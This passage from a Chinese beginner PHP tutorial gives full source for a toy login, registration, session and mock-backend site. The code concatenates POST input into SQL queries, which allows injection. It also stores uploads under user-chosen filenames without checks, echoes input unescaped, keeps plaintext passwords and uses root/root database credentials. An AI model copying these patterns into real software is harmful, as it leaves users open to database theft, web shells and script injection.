$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>

<html>
<head>
<meta charset=utf8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<a href="zhuce.php">点击注册</a></br>
<?phpecho $login;?>
</html>

  • 完整注销页面zhuxiao.php

<?php
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>

  • 完整数据库连接页面conn.php

<head>
<meta charset=utf8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
//创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
//检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;"
;

$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
?>

  • 完整注册页面zhuce.php

<head>
<meta charset="utf-8">
</head>

<?php
include("conn.php");

$name = $_POST['name'];
$password1 = $_POST['password1'];
$password2 = $_POST['password2'];
$shouji = $_POST['shouji'];
$tupian = $_FILES['tupian'];
$tupianname = $_FILES['tupian']['name'];

if ($_SERVER["REQUEST_METHOD"] == "POST") {

if (empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)) {
$ERR = "账号密码、手机号码不能为空";
}
// 密码长度8位,密码两次输入一致
elseif (strlen($password1) < 8) {
$ERR = "密码长度不足八位";
}
elseif ($password1 != $password2) {
$ERR = "两次输入密码不一致";
}
elseif (strlen($shouji) != "11") {
$ERR = "手机号码格式有问题";
}
else {
if (file_exists("tupian/" . $_FILES["tupian"]["name"])) {
echo $_FILES["tupian"]["name"] . "文件已经存在。";
}
else {
// 如果upload目录不存在该文件则将文件上传到upload目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" .
$_FILES["tupian"]["name"]);
}

$sqlinsert = "insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');"
;

var_dump($conn2);

if (mysqli_query($conn2, $sqlinsert)) {
$ERR = "注册成功</br>";
}
else {
$ERR = "注册失败</br>";
}
}
}
?>

<form action="" method="post" enctype="multipart/form-data">

名字:
<input type="text" name="name"><br>

密码:
<input type="password" name="password1"><br>

重新输入密码:
<input type="password" name="password2"><br>

请输入手机号码:
<input type="passwrd" name="shouji"><br>

上传头像:
<input type="file" name="tupian"><br>

<input type="submit" value="提交">

</form>

<?php
echo $ERR;
echo "你注册的用户为:" . $name . "</br>";
echo "你注册的手机号码:" . $shouji . "</br>";
?>

<img src="<?php echo "tupian/" . $_FILES["tupian"]["name"]; ?>">

  • 完整管理session页面session.php

<?php
session_start();

if (isset($_SESSION["login"]) && $_SESSION["login"] === true) {
echo "您已经成功登陆 ";
echo '<a href="zhuxiao.php">点击注销</a>';
} else {
$_SESSION["login"] == false; // 注意:這行實際上沒有效果,因為是比較運算子
die('您无权访问, <a href="login.php">点击跳转登录页面</a>');
}
?>

  • 完整假装后台页面youxi.php

<?php
include('session.php');
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<title>游戏页面</title>
</head>
<body>

<h1>游戏页面</h1>

<p>
<a href="select.php">点击查看账号以及ID的对应关系</a><br>
<a href="jsq.php">数字炸弹</a>
</p>

</body>
</html>


赞(0)
未经允许不得转载:171主机测评 » 第四章:PHP入门之从基础到实战全解析
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址